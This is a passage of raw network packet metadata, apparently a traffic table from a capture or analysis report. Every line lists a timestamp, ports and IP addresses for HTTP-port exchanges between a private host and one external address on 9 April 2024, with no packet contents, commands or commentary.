Apr 9, 2024 14:54:05.806926012 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.806965113 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.806982994 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807002068 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807013035 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807063103 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807063103 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807107925 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807126999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807158947 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807163000 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807220936 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807235003 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807254076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807272911 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807293892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807305098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807338953 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807339907 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807362080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807390928 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807404041 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807442904 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807478905 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807480097 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807513952 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807514906 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807533979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807557106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807594061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807594061 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807617903 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807636023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807662964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807677984 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807681084 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807714939 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807785988 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807801008 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807807922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807826042 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807843924 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807858944 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807862043 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807889938 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807890892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807895899 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807925940 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.807931900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807965994 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.807969093 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808000088 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808013916 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808033943 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808054924 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808069944 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808089018 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808094978 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808108091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808120966 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808125973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808140039 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808161974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808172941 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808192015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808209896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808226109 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808239937 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808249950 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808259010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808270931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808289051 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808295012 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808315992 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808339119 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808363914 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808396101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808409929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808428049 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808448076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808465004 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808465004 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808482885 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808495998 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808501959 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808521986 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808537960 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808568954 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808590889 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808607101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808609009 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808628082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808641911 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808676004 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808705091 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808707952 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808748007 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808757067 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808775902 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808830023 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808830023 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808840036 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808876038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808893919 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808907986 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808927059 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808944941 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.808959961 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.808993101 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809011936 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809027910 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809031010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809050083 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809082031 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809096098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809114933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809129000 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809134007 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809170961 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809196949 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809216022 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809233904 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809251070 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809251070 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809282064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809287071 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809300900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809319973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809335947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809351921 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809370041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809387922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809391975 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809417009 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809422016 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809456110 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809488058 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809489965 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809523106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809575081 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809581995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809602976 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809624910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809639931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809643030 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809660912 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809683084 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809694052 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809711933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809734106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809746027 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809763908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809777975 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809782028 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809812069 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809858084 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809875965 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809895039 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809921980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809922934 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809922934 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809942007 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.809957027 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.809979916 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810003042 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810020924 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810038090 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810038090 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810056925 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810070992 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810091019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810095072 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810110092 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810122967 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810127974 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810139894 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810147047 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810159922 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810182095 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810215950 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810215950 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810234070 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810251951 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810267925 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810290098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810328960 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810334921 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810348034 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810380936 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810391903 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810399055 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810415030 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810415030 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810417891 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810439110 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810447931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810472012 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810489893 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810508966 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810508966 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810543060 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810544014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810551882 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810571909 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810590029 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810611010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810631990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810650110 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810669899 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810681105 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810698986 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810733080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810733080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810751915 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810785055 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810826063 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810857058 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810872078 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810889959 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810908079 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810915947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810915947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810941935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810952902 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810952902 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.810961008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.810997963 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811033010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811048985 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811050892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811067104 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811074972 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811084986 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811095953 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811103106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811115026 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811122894 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811139107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811156988 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811163902 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811175108 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811192989 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811211109 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811211109 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811230898 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811240911 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811242104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811261892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811264038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811295033 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811297894 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811316013 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811352015 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811377048 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811395884 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811414003 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811414003 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811443090 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811443090 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811446905 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811476946 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811482906 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811501026 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811518908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811548948 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811548948 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811551094 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811583996 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811599016 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811618090 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811651945 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811664104 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811682940 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811701059 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811734915 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811736107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811736107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811753988 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811769009 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811772108 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811798096 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811798096 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811808109 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811855078 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811870098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811887980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811887980 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811904907 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811918974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811923981 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811942101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811965942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.811970949 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.811990023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812005997 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812022924 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812025070 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812052011 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812052011 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812073946 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812093973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812110901 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812129021 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812144041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812177896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812180996 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812211990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812249899 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812253952 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812289000 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812321901 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812324047 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812354088 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812385082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812387943 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812402964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812436104 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812438011 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812453985 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812465906 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812505007 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812505007 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812613964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812637091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812654018 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812671900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812688112 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812688112 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812691927 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812710047 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812717915 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.812728882 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.812738895 CEST	49741	80	192.168.2.4	185.196.8.137
